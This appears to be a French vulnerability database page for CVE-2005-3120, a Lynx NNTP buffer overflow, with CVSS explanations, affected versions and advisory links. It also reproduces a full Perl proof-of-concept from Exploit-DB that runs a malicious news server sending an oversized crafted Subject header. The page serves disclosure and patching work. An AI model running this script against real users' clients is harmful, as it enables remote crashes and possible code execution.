CVE-2005-3120 : Détail

CVE-2005-3120

9.8
/
Critique
30.44%V4
Network
2005-10-17
02h00 +00:00
2018-10-19
12h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Stack-based buffer overflow in the HTrjis function in Lynx 2.8.6 and earlier allows remote NNTP servers to execute arbitrary code via certain article headers containing Asian characters that cause Lynx to add extra escape (ESC) characters.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-131 Incorrect Calculation of Buffer Size
The product does not correctly calculate the size to be used when allocating a buffer, which could lead to a buffer overflow.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

nvd@nist.gov
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 1256

Date de publication : 2005-10-16 22h00 +00:00
Auteur : Ulf Harnhammar
EDB Vérifié : Yes

#!/usr/bin/perl -- # lynx-nntp-server # by Ulf Harnhammar in 2005 # I hereby place this program in the public domain. use strict; use IO::Socket; $main::port = 119; $main::timeout = 5; # *** SUBROUTINES *** sub mysend($$) { my $file = shift; my $str = shift; print $file "$str\n"; print "SENT: $str\n"; } # sub mysend sub myreceive($) { my $file = shift; my $inp; eval { local $SIG{ALRM} = sub { die "alarm\n" }; alarm $main::timeout; $inp = <$file>; alarm 0; }; if ($@ eq "alarm\n") { $inp = ''; print "TIMED OUT\n"; } $inp =~ tr/\015\012\000//d; print "RECEIVED: $inp\n"; $inp; } # sub myreceive # *** MAIN PROGRAM *** { my $server = IO::Socket::INET->new( Proto => 'tcp', LocalPort => $main::port, Listen => SOMAXCONN, Reuse => 1); die "can't set up server!\n" unless $server; while (my $client = $server->accept()) { $client->autoflush(1); print 'connection from '.$client->peerhost."\n"; mysend($client, '200 Internet News'); my $group = 'alt.angst'; while (my $str = myreceive($client)) { if ($str =~ m/^mode reader$/i) { mysend($client, '200 Internet News'); next; } if ($str =~ m/^group ([-_.a-zA-Z0-9]+)$/i) { $group = $1; mysend($client, "211 1 1 1 $group"); next; } if ($str =~ m/^quit$/i) { mysend($client, '205 Goodbye'); last; } if ($str =~ m/^head ([0-9]+)$/i) { my $evil = '$@UU(JUU' x 21; # Edit the number! $evil .= 'U' x (504 - length $evil); my $head = <<HERE; 221 $1 <xyzzy\@usenet.qx> Path: host!someotherhost!onemorehost From: <mr_talkative\@usenet.qx> Subject: $evil Newsgroup: $group Message-ID: <xyzzy\@usenet.qx> . HERE $head =~ s|\s+$||s; mysend($client, $head); next; } mysend($client, '500 Syntax Error'); } # while str=myreceive(client) close $client; print "closed\n\n\n"; } # while client=server->accept() } # milw0rm.com [2005-10-17]

Products Mentioned

Configuraton 0

Invisible-island>>Lynx >> Version To (including) 2.8.6

Configuraton 0

Debian>>Debian_linux >> Version 3.0

Debian>>Debian_linux >> Version 3.1

Références

http://securitytracker.com/id?1015065
Tags : vdb-entry, x_refsource_SECTRACK
http://secunia.com/advisories/18376
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/17216
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/17480
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.openpkg.org/security/OpenPKG-SA-2005.026-lynx.html
Tags : vendor-advisory, x_refsource_OPENPKG
http://secunia.com/advisories/17444
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.debian.org/security/2006/dsa-1085
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.gentoo.org/security/en/glsa/glsa-200510-15.xml
Tags : vendor-advisory, x_refsource_GENTOO
http://secunia.com/advisories/18584
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/17238
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/17150
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.mandriva.com/security/advisories?name=MDKSA-2005:186
Tags : vendor-advisory, x_refsource_MANDRIVA
http://secunia.com/advisories/17248
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/archive/1/419763/100/0/threaded
Tags : vendor-advisory, x_refsource_FEDORA
http://secunia.com/advisories/17360
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/17445
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/15117
Tags : vdb-entry, x_refsource_BID
https://usn.ubuntu.com/206-1/
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.redhat.com/support/errata/RHSA-2005-803.html
Tags : vendor-advisory, x_refsource_REDHAT
http://secunia.com/advisories/17231
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/17230
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/17340
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/20383
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.debian.org/security/2005/dsa-874
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.debian.org/security/2005/dsa-876
Tags : vendor-advisory, x_refsource_DEBIAN